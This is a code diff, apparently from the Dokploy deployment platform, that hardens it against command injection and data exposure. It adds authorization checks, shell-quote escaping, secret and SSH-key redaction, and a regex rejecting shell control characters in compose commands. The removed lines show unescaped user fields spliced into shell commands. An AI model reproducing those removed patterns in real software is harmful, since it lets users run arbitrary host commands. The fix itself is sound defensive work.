const { user, session } = await validateRequest(req);
if (!appName) {
@@ -55,6 +57,11 @@ export const setupDockerStatsMonitoringSocketServer = (
ws.close();
return;
}
if (!(await canAccessDockerOverWss(user, session, null, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
const intervalId = setInterval(async () => {
try {
// Special case: when monitoring "dokploy", get host system stats instead of container stats

View File

@@ -9,6 +9,7 @@ import { publicIpv4, publicIpv6 } from "public-ip";
import { Client, type ConnectConfig } from "ssh2";
import { WebSocketServer } from "ws";
import { getDockerHost } from "../utils/docker";
import { canAccessTerminalOverWss } from "./authorize";
import { setupLocalServerSSHKey } from "./utils";
const COMMAND_TO_ALLOW_LOCAL_ACCESS = `
@@ -93,6 +94,11 @@ export const setupTerminalWebSocketServer = (
return;
}
if (!(await canAccessTerminalOverWss(user, session, serverId))) {
ws.close(4003, "Not authorized");
return;
}
let connectionDetails: ConnectConfig = {};
const isLocalServer = serverId === "local";

View File

@@ -57,6 +57,7 @@ export const schedules = pgTable("schedule", {
});
export type Schedule = typeof schedules.$inferSelect;
export type ScheduleType = Schedule["scheduleType"];
export const schedulesRelations = relations(schedules, ({ one, many }) => ({
application: one(applications, {
@@ -78,7 +79,9 @@ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
deployments: many(deployments),
}));
export const createScheduleSchema = createInsertSchema(schedules);
export const createScheduleSchema = createInsertSchema(schedules, {
scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
});
export const updateScheduleSchema = createScheduleSchema.extend({
scheduleId: z.string().min(1),

View File

@@ -102,10 +102,24 @@ export const findApplicationById = async (applicationId: string) => {
redirects: true,
security: true,
ports: true,
gitlab: true,
github: true,
bitbucket: true,
gitea: true,
gitlab: {
columns: { secret: false, accessToken: false, refreshToken: false },
},
github: {
columns: {
githubClientSecret: false,
githubPrivateKey: false,
githubWebhookSecret: false,
},
},
bitbucket: { columns: { appPassword: false, apiToken: false } },
gitea: {
columns: {
clientSecret: false,
accessToken: false,
refreshToken: false,
},
},
server: true,
previewDeployments: true,
registry: { columns: { password: false } },

View File

@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { encodeBase64 } from "../utils/docker/utils";
import { getDokployUrl } from "./admin";
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => {
const projectPath = join(COMPOSE_PATH, compose.appName, "code");
const path =
compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
if (compose.composeType === "docker-compose") {
if (compose.serverId) {
await execAsyncRemote(

View File

@@ -2,6 +2,7 @@ import {
execAsync,
execAsyncRemote,
} from "@dokploy/server/utils/process/execAsync";
import { quote } from "shell-quote";
export const getContainers = async (serverId?: string | null) => {
try {
@@ -519,7 +520,7 @@ export const getSwarmNodes = async (serverId?: string) => {
export const getNodeInfo = async (nodeId: string, serverId?: string) => {
try {
const command = `docker node inspect ${nodeId} --format '{{json .}}'`;
const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
let stdout = "";
let stderr = "";
if (serverId) {

View File

@@ -120,9 +120,13 @@ export const getAccessibleGitProviderIds = async (session: {
return result;
};
// Throws if the provider is in another organization (NOT_FOUND) or the caller
// is not entitled to it in the active org (FORBIDDEN). Call before returning any
// git-provider record that carries secrets.
/**
* Authorizes read access to a specific git provider for the current session.
* Throws if the provider belongs to a different organization (cross-org IDOR)
* or if the caller is not entitled to it within the active organization.
* Must be called before returning any git-provider record that carries secrets
* (OAuth tokens, app private keys, webhook secrets).
*/
export const assertGitProviderAccess = async (
session: { userId: string; activeOrganizationId: string },
provider: { gitProviderId: string; organizationId: string },

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -140,7 +141,7 @@ export const deployLibsql = async (
if (libsql.serverId) {
await execAsyncRemote(
libsql.serverId,
`docker pull ${libsql.dockerImage}`,
`docker pull ${quote([libsql.dockerImage])}`,
onData,
);
} else {

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -145,7 +146,7 @@ export const deployMariadb = async (
if (mariadb.serverId) {
await execAsyncRemote(
mariadb.serverId,
`docker pull ${mariadb.dockerImage}`,
`docker pull ${quote([mariadb.dockerImage])}`,
onData,
);
} else {

View File

@@ -12,6 +12,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -160,7 +161,7 @@ export const deployMongo = async (
if (mongo.serverId) {
await execAsyncRemote(
mongo.serverId,
`docker pull ${mongo.dockerImage}`,
`docker pull ${quote([mongo.dockerImage])}`,
onData,
);
} else {

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -143,7 +144,7 @@ export const deployMySql = async (
if (mysql.serverId) {
await execAsyncRemote(
mysql.serverId,
`docker pull ${mysql.dockerImage}`,
`docker pull ${quote([mysql.dockerImage])}`,
onData,
);
} else {

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -155,7 +156,7 @@ export const deployPostgres = async (
if (postgres.serverId) {
await execAsyncRemote(
postgres.serverId,
`docker pull ${postgres.dockerImage}`,
`docker pull ${quote([postgres.dockerImage])}`,
onData,
);
} else {

View File

@@ -10,6 +10,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod";
import { validUniqueServerAppName } from "./project";
@@ -110,7 +111,7 @@ export const deployRedis = async (
if (redis.serverId) {
await execAsyncRemote(
redis.serverId,
`docker pull ${redis.dockerImage}`,
`docker pull ${quote([redis.dockerImage])}`,
onData,
);
} else {

View File

@@ -2,7 +2,7 @@ import path from "node:path";
import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm";
import type { z } from "zod";
import { paths } from "../constants";
import { IS_CLOUD, paths } from "../constants";
import { db } from "../db";
import type {
createScheduleSchema,
@@ -11,9 +11,51 @@ import type {
import { type Schedule, schedules } from "../db/schema/schedule";
import { encodeBase64 } from "../utils/docker/utils";
import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
import { findMemberByUserId } from "./permission";
import { findServerById } from "./server";
export type ScheduleExtended = Awaited<ReturnType<typeof findScheduleById>>;
// Host-level schedules (server / dokploy-server) run their script as root on the
// host and must stay restricted to owners/admins, regardless of whether the
// request is also tied to a service. Attaching an accessible applicationId must
// not downgrade this to a service-access check.
export const assertHostScheduleAccess = async (
ctx: { user: { id: string }; session: { activeOrganizationId: string } },
scheduleType: Schedule["scheduleType"] | null | undefined,
serverId: string | null | undefined,
) => {
if (scheduleType !== "server" && scheduleType !== "dokploy-server") return;
if (scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message: "Host-level schedules are not available in the cloud version.",
});
}
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message: "Only owners and admins can manage server-level schedules.",
});
}
if (scheduleType === "server" && serverId) {
const targetServer = await findServerById(serverId);
if (targetServer.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
};
export const createSchedule = async (
input: z.infer<typeof createScheduleSchema>,
) => {

View File

@@ -53,6 +53,27 @@ export const findServerById = async (serverId: string) => {
return currentServer;
};
/**
* Removes the SSH private key material from a server record before it is sent
* to a client. `findServerById` eagerly loads the `sshKey` relation (needed for
* server-side SSH operations), but the private key must never leave the server:
* no client feature consumes it, and returning it exposed it to any member with
* only `server:read`. Server-side callers keep using `findServerById` directly.
*/
export const redactServerSshKey = <
T extends { sshKey?: { privateKey: string } | null },
>(
serverRecord: T,
): T => {
if (!serverRecord.sshKey) {
return serverRecord;
}
return {
...serverRecord,
sshKey: { ...serverRecord.sshKey, privateKey: "" },
};
};
export const findServersByUserId = async (userId: string) => {
const orgs = await db.query.organization.findMany({
where: eq(organization.ownerId, userId),

View File

@@ -2,6 +2,7 @@ import { logger } from "@dokploy/server/lib/logger";
import type { BackupSchedule } from "@dokploy/server/services/backup";
import type { Destination } from "@dokploy/server/services/destination";
import { scheduledJobs, scheduleJob } from "node-schedule";
import { quote } from "shell-quote";
import { keepLatestNBackups } from ".";
import { runComposeBackup } from "./compose";
import { runLibsqlBackup } from "./libsql";
@@ -90,11 +91,16 @@ export const getS3Credentials = (destination: Destination) => {
return rcloneFlags;
};
// User-controlled values (database name, user, password) are passed to the
// container as environment variables via `docker exec -e VAR=<escaped>` and
// referenced as "$VAR" inside the inner shell, so they never appear in the
// inner command text. The -e value is escaped for the outer shell with
// shell-quote; the inner script is single-quoted and reads the env vars.
export const getPostgresBackupCommand = (
database: string,
databaseUser: string,
) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID bash -c 'set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER" --no-password "$DB_NAME" | gzip'`;
};
export const getMariadbBackupCommand = (
@@ -102,14 +108,14 @@ export const getMariadbBackupCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mariadb-dump --user='${databaseUser}' --password='${databasePassword}' --single-transaction --quick --databases ${database} | gzip"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mariadb-dump --user="$DB_USER" --password="$DB_PASS" --single-transaction --quick --databases "$DB_NAME" | gzip'`;
};
export const getMysqlBackupCommand = (
database: string,
databasePassword: string,
) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mysqldump --default-character-set=utf8mb4 -u 'root' --password='${databasePassword}' --single-transaction --no-tablespaces --quick '${database}' | gzip"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mysqldump --default-character-set=utf8mb4 -u root --password="$DB_PASS" --single-transaction --no-tablespaces --quick "$DB_NAME" | gzip'`;
};
export const getMongoBackupCommand = (
@@ -117,11 +123,11 @@ export const getMongoBackupCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mongodump -d '${database}' -u '${databaseUser}' -p '${databasePassword}' --archive --authenticationDatabase admin --gzip"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -d "$DB_NAME" -u "$DB_USER" -p "$DB_PASS" --archive --authenticationDatabase admin --gzip'`;
};
export const getLibsqlBackupCommand = (database: string) => {
return `docker exec -i $CONTAINER_ID sh -c "tar cf - -C /var/lib/sqld ${database} | gzip"`;
return `docker exec -e DB_NAME=${quote([database])} -i $CONTAINER_ID sh -c 'tar cf - -C /var/lib/sqld "$DB_NAME" | gzip'`;
};
export const getServiceContainerCommand = (appName: string) => {

View File

@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`;
return bashCommand;
};
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim();
if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
throw new Error(
"Invalid characters in compose command: shell control characters are not allowed",
);
}
const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => {
let command = "";
if (composeType === "docker-compose") {
command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
} else if (composeType === "stack") {
command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
}
return command;
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
const encodedContent = encodeBase64(envFileContent);
return `
touch ${envFilePath};
echo "${encodedContent}" | base64 -d > "${envFilePath}";
touch ${quote([envFilePath])};
echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
`;
};

View File

@@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => {
}
command += `
echo "Building ${appName}" ;
cd ${dockerContextPath} || {
echo "❌ The path ${dockerContextPath} does not exist" ;
echo ${quote([`Building ${appName}`])} ;
cd ${quote([dockerContextPath])} || {
echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
exit 1;
}

View File

@@ -1,6 +1,7 @@
import path from "node:path";
import { getStaticCommand } from "@dokploy/server/utils/builders/static";
import { nanoid } from "nanoid";
import { quote } from "shell-quote";
import { prepareEnvironmentVariablesForShell } from "../docker/utils";
import { getBuildAppDirectory } from "../filesystem/directory";
import type { ApplicationNested } from ".";
@@ -52,10 +53,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => {
bashCommand += `
docker create --name ${buildContainerId} ${appName}
mkdir -p ${localPath}
docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || {
mkdir -p ${quote([localPath])}
docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || {
docker rm ${buildContainerId}
echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ;
echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ;
exit 1;
}
docker rm ${buildContainerId}

View File

@@ -5,6 +5,7 @@ import {
safeDockerLoginCommand,
} from "@dokploy/server/services/registry";
import { createRollback } from "@dokploy/server/services/rollbacks";
import { quote } from "shell-quote";
import type { ApplicationNested } from "../builders";
export const uploadImageRemoteCommand = async (
@@ -124,18 +125,18 @@ const getRegistryCommands = (
registry.password,
);
return `
echo "📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'" ;
echo ${quote([`📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'`])} ;
${loginCmd} || {
echo "❌ DockerHub Failed" ;
exit 1;
}
echo "✅ Registry Login Success" ;
docker tag ${imageName} ${registryTag} || {
docker tag ${quote([imageName])} ${quote([registryTag])} || {
echo "❌ Error tagging image" ;
exit 1;
}
echo "✅ Image Tagged" ;
docker push ${registryTag} || {
docker push ${quote([registryTag])} || {
echo "❌ Error pushing image" ;
exit 1;
}

View File

@@ -3,6 +3,7 @@ import { join } from "node:path";
import { paths } from "@dokploy/server/constants";
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { quote } from "shell-quote";
import { parse, stringify } from "yaml";
import { execAsyncRemote } from "../process/execAsync";
import { cloneBitbucketRepository } from "../providers/bitbucket";
@@ -125,8 +126,11 @@ exit 1;
const encodedContent = encodeBase64(composeString);
return `echo "${encodedContent}" | base64 -d > "${path}";`;
} catch (error) {
// @ts-ignore
return `echo "❌ Has occurred an error: ${error?.message || error}";
const message =
error instanceof Error ? error.message : String(error ?? "");
// The error message embeds user-controlled fields (e.g. serviceName) and is
// executed as part of the compose build shell script, so it must be escaped.
return `echo ${quote([`❌ Has occurred an error: ${message}`])};
exit 1;
`;
}

View File

@@ -1,4 +1,5 @@
import * as fs from "node:fs/promises";
import { quote } from "shell-quote";
import { execAsync, execAsyncRemote, sleep } from "../utils/process/execAsync";
interface GPUInfo {
@@ -322,7 +323,7 @@ const setupLocalServer = async (daemonConfig: any) => {
};
const addGpuLabel = async (nodeId: string, serverId?: string) => {
const labelCommand = `docker node update --label-add gpu=true ${nodeId}`;
const labelCommand = `docker node update --label-add gpu=true ${quote([nodeId])}`;
if (serverId) {
await execAsyncRemote(serverId, labelCommand);
} else {
@@ -335,7 +336,7 @@ const verifySetup = async (nodeId: string, serverId?: string) => {
if (!finalStatus.swarmEnabled) {
const diagnosticCommands = [
`docker node inspect ${nodeId}`,
`docker node inspect ${quote([nodeId])}`,
'nvidia-smi -a | grep "GPU UUID"',
"cat /etc/docker/daemon.json",
"cat /etc/nvidia-container-runtime/config.toml",

View File

@@ -11,6 +11,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import type { z } from "zod";
import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType<
"applications",
@@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};

View File

@@ -1,4 +1,5 @@
import { safeDockerLoginCommand } from "@dokploy/server/services/registry";
import { quote } from "shell-quote";
import type { ApplicationNested } from "../builders";
export const buildRemoteDocker = async (application: ApplicationNested) => {
@@ -9,7 +10,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => {
throw new Error("Docker image not found");
}
let command = `
echo "Pulling ${dockerImage}";
echo ${quote([`Pulling ${dockerImage}`])};
`;
if (username && password) {
@@ -22,7 +23,7 @@ fi
}
command += `
docker pull ${dockerImage} 2>&1 || {
docker pull ${quote([dockerImage])} 2>&1 || {
echo "❌ Pulling image failed";
exit 1;
}

View File

@@ -5,6 +5,7 @@ import {
updateSSHKeyById,
} from "@dokploy/server/services/ssh-key";
import { execAsync, execAsyncRemote } from "../process/execAsync";
import { shellWord } from "./utils";
interface CloneGitRepository {
appName: string;
@@ -61,7 +62,7 @@ export const cloneGitRepository = async ({
}
command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`;
command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`;
command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
if (customGitSSHKeyId) {
await updateSSHKeyById({
@@ -78,8 +79,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
}
command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
exit 1;
fi
`;
@@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`;
return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
};
const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp(

View File

@@ -7,6 +7,7 @@ import {
} from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null;
@@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!,
);
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};

View File

@@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit";
import type { z } from "zod";
import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) {
@@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`;
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};

View File

@@ -9,6 +9,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import type { z } from "zod";
import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};

View File

@@ -0,0 +1,10 @@
import { quote } from "shell-quote";
/**
* Escapes a single value so it can be safely interpolated as one argument into
* a `/bin/sh -c` command string (both local `execAsync` and remote SSH
* `execAsyncRemote`). User-controlled fields such as git URLs, branch names,
* repository owners and SSH hostnames must never reach a shell unescaped.
*/
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);

View File

@@ -1,13 +1,17 @@
import { quote } from "shell-quote";
import {
getComposeContainerCommand,
getServiceContainerCommand,
} from "../backups/utils";
// User-controlled values are passed to the container via `docker exec -e` and
// read as "$VAR" inside a single-quoted inner script, so they never enter the
// inner command text. See the matching note in backups/utils.ts.
export const getPostgresRestoreCommand = (
database: string,
databaseUser: string,
) => {
return `docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} -O --clean --if-exists"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID sh -c 'pg_restore -U "$DB_USER" -d "$DB_NAME" -O --clean --if-exists'`;
};
export const getMariadbRestoreCommand = (
@@ -15,14 +19,14 @@ export const getMariadbRestoreCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -i $CONTAINER_ID sh -c "mariadb -u '${databaseUser}' -p'${databasePassword}' ${database}"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mariadb -u "$DB_USER" -p"$DB_PASS" "$DB_NAME"'`;
};
export const getMysqlRestoreCommand = (
database: string,
databasePassword: string,
) => {
return `docker exec -i $CONTAINER_ID sh -c "mysql -u root -p'${databasePassword}' ${database}"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mysql -u root -p"$DB_PASS" "$DB_NAME"'`;
};
export const getMongoRestoreCommand = (
@@ -30,7 +34,7 @@ export const getMongoRestoreCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -i $CONTAINER_ID sh -c "mongorestore --username '${databaseUser}' --password '${databasePassword}' --authenticationDatabase admin --db ${database} --archive --drop"`;
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mongorestore --username "$DB_USER" --password "$DB_PASS" --authenticationDatabase admin --db "$DB_NAME" --archive --drop'`;
};
export const getComposeSearchCommand = (